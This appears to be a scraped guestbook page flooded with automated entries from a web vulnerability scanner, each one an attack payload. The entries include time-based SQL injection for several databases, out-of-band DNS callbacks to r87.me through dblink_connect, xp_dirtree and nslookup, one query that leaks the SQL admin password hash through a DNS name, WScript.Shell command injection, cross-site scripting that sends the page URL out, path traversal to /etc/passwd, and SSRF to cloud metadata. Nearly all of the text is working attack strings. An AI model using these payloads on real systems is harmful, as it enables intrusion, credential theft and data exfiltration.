+ ";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal"+"9om.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

//r87.com/n/j/?0x002A6C

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||' +

+
+

//r87.com/n/j/?0x002A6B

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:44 AM +

+

+ (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric) +

+
+

"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A6A

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1'));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric) +

+
+

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A69

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

1 ns=netsparker(0x002A5F)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

'" ns=netsparker(0x002A5D)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:42 AM +

+

+ Guestbook.aspxďż˝ +

+
+

Smith

+

+ 8/23/2017 8:08:41 AM +

+

+ '+NSFTW+' +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2') +

+
+

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ Guestbook.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ '"--> +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7" & "32o.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

1');SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ data:;base64,TlM3NzU0NTYxNDQ2NTc1 +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio" & "qju.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y" & "wqa.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-" & "y9m.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ //r87.com/?0x003F84 +

+
+

1);SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

N3TSP4RKE2

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd +

+
+

nxtspxrkex

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ [ns](javascript:netsparker(0x003F5C);) +

+
+

Smith

+

+ 8/23/2017 8:08:38 AM +

+

+ NSFTW +

+
+

n3tsp4rke2

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ /etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ '"@--> +

+
+

SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt" & "ano.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl" & "8u8.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

1;SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s" & "jba.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl" & "cpq.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

1';SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2') +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//etc/passwd +

+
+

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:36 AM +

+

+ (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL) +

+
+

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝.aspx +

+
+

((select sleep(25)))a-- 1

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r-- +

+
+

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ http://127.0.0.1:3306 +

+
+

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r-- +

+
+

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ http://127.100.11.2:22 +

+
+

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r +

+
+

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\c$\a''')-- +

+
+

Smith

+

+ 8/23/2017 8:08:33 AM +

+

+ '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||' +

+
+

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ 1'))exec('xp_dirtree ''\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1))exec('xp_dirtree ''\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\c$\a''')-- +

+
+

1)) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1')exec('xp_dirtree ''\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ 1) exec('xp_dirtree ''\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ -1';exec('xp_dirtree ''\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\c$\a''')-- +

+
+

')) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ 1;exec('xp_dirtree ''\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''') +

+
+

Smith

+

+ 8/23/2017 8:08:29 AM +

+

+ cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ exec('xp_dirtree ''\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\c$\a''') +

+
+

') WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ http://169.254.169.254/latest/meta-data/public-hostname +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs" & "j3o.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97))) +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no" & "o20.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝ +

+
+

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ http://aws.r87.me/latest/meta-data/public-hostname +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ file:///etc/passwd +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ -1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+" +

+
+

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

1) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:27 AM +

+

+ -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ /../../../../../../../../../../proc/versionďż˝.aspx +

+
+

WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:26 AM +

+

+ -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ 127.0.0.1/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../proc/version +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ ::1/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:25 AM +

+

+ 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'=' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ '+netsparker(0x003E56)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../var/log/apache/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E54); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../var/log/apache2/error.log +

+
+

1 WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:24 AM +

+

+ convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E52) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error_log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ 127.100.11.2/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +' +

+
+

"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+"

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

' WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ 54.204.37.212/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +

+
+

"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+"

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ testsparker.com/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:22 AM +

+

+ %27 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ http://testsparker.com/elmah +

+
+

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz"+"itg.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v"+"nwu.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ 127.0.0.1/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ /../../../../../../../../../../proc/self/fd/2ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ ',netsparker(0x003E50),' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ /../../../../../../../../../../proc/self/fd/2 +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ OR X='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ /../../../../../../../../../../windows/iis6.log +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ AND 'NS='ss +

+
+

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ NS +NO +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ ' +

+
+

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ ::1/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ 127.100.11.2/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//windows\win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ \';netsparker(0x003E4E);/// +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ c:\windows\win.ini +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t"+"lty.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ "+netsparker(0x003E4C)+" +

+
+

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

